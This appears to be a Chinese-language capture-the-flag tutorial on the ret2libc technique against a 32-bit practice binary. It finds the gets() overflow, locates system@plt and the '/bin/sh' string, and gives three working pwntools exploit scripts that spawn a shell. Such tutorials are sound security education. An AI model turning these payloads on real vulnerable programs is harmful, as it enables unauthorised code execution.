ret2libc ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
当程序的NX enable开启,写入shellcode没有执行权限,又或者程序开有ASLR保护(随机地址),每次执行程序想利用的函数地址都是变化的时,我们就可以考虑用libc里的函数动态得到system函数地址与/bin/sh字符串地址
step1 32bit or 64bit? 1 2 ret2libc1$ file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
step2 checksec 1 2 3 4 5 6 7 ret2libc1$ checksec ret2libc1 [*] '/home/pwn/桌面/(5)retlibc/ret2libc1/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
step3 IDA32 存在栈溢出危险函数gets( )
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { char s[100 ]; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 1 , 0 ); puts ("RET2LIBC >_<" ); gets(s); return 0 ; }
法一:在函数窗口发现_system函数,点击+空格
1 2 3 4 5 6 .plt:08048460 _system proc near ; CODE XREF: secure+44↓p .plt:08048460 .plt:08048460 command = dword ptr 4 .plt:08048460 .plt:08048460 jmp ds:off_804A018 .plt:08048460 _system endp
法二:使用以下命令查找地址,使用命令前应进行如下步骤:gdb ret2libc1 —> b main —> r —> objdump -d ret2libc1
1 2 3 4 5 6 7 8 objdump -d ret2libc1 命令介绍: objdump -d <.elf> 反汇编test 中的需要执行指令的那些section objdump -D <.elf> 与-d类似,但反汇编test 中的所有section
1 2 3 4 5 6 7 8 9 08048450 <puts@plt>: 8048450: ff 25 14 a0 04 08 jmp *0x804a014 8048456: 68 10 00 00 00 push $0x10 804845b: e9 c0 ff ff ff jmp 8048420 <.plt> 08048460 <system@plt>: 8048460: ff 25 18 a0 04 08 jmp *0x804a018 8048466: 68 18 00 00 00 push $0x18 804846b: e9 b0 ff ff ff jmp 8048420 <.plt>
sys_addr = 08048460
法一:shfit+F12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 LOAD:08048154 00000013 C /lib/ld-linux.so.2 LOAD:080482B9 0000000A C libc.so.6 LOAD:080482C3 0000000F C _IO_stdin_used LOAD:080482D7 00000006 C srand LOAD:080482DD 0000000F C __isoc99_scanf LOAD:080482F6 00000006 C stdin LOAD:080482FC 00000007 C stdout LOAD:08048303 00000007 C system LOAD:0804830A 00000008 C setvbuf LOAD:08048312 00000012 C __libc_start_main LOAD:08048324 0000000F C __gmon_start__ LOAD:08048333 0000000A C GLIBC_2.7 LOAD:0804833D 0000000A C GLIBC_2.0 .rodata:08048720 00000008 C /bin/sh .rodata:0804872B 00000008 C shell!? .rodata:08048733 0000000D C RET2LIBC >_< .eh_frame:080487AB 00000005 C ;*2$\"
法二:使用以下命令查找地址
1 2 3 4 pwndbg> search '/bin/sh' ret2libc1 0x8048720 das /* '/bin/sh' */ ret2libc1 0x8049720 '/bin/sh' libc-2.31.so 0xf7f5d352 '/bin/sh'
bin_sh = 08048720
step4 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 +-----------------+ | '/bin/sh' | +-----------------| | b'bbbb' | +-----------------| | system@plt | ret_addr +-----------------+ | ebp | ebp--->+-----------------+ | | | | | | | | +-----------------+ | s | local var s起始,ebp-108-->+-----------------+ +-----------------+ | '/bin/sh' | system要传入的参数'/bin/sh' +-----------------| ret_addr | ebp | system中的汇编指令push ebp +-----------------+ | system@plt | ret_addr +-----------------+ | ebp | 含父函数ebp信息的ebp ebp--->+-----------------+ | | | | | | +-----------------+ | s | local var s起始,ebp-108-->+-----------------+ +-----------------+ | '/bin/sh' | system要传入的参数'/bin/sh' +-----------------+ | system@plt | ret_addr +-----------------+ | ebp | 含父函数ebp信息的ebp ebp--->+-----------------+ | | | | | | +-----------------+ | s | local var s起始,ebp-108-->+-----------------+
1 2 3 4 5 6 7 8 from pwn import *sh = process('./ret2libc1' ) binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112 , system_plt, 'b' * 4 , binsh_addr]) sh.sendline(payload) sh.interactive()
1 2 3 4 5 6 7 8 from pwn import *p = process('./ret2libc1' ) bin_sh = 0x08048720 sys_addr = 0x08048460 payload = b'A' *112 +p32(sys_addr)+b'B' *4 +p32(bin_sh) p.sendline(payload) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *io = process("./ret2libc1" ) elf = ELF("./ret2libc1" ) sys_addr = elf.plt["system" ] bin_sh = next (search(b"/bin/sh" )) payload = flat([b'a' *112 , p32(sys_addr), b'bbbb' , p32(bin_sh)]) io.sendline(payload) io.interactive()
可能遇到的问题 Q1: 为什么见到有些payload是没有为system函数传像’a’*4这样的函数返回地址参数呢?
A:因为直接调用 call _system 时,根据call命令的功能,它会先把返回地址压入栈,再跳转到指定函数(即plt的位置),而直接调用plt处的函数是没有压入返回地址参数这一步骤的,故可认为’b’ * 4填充的为虚拟地址。
Q2: exp.py报错?
A:在填充字符前加b,如exp2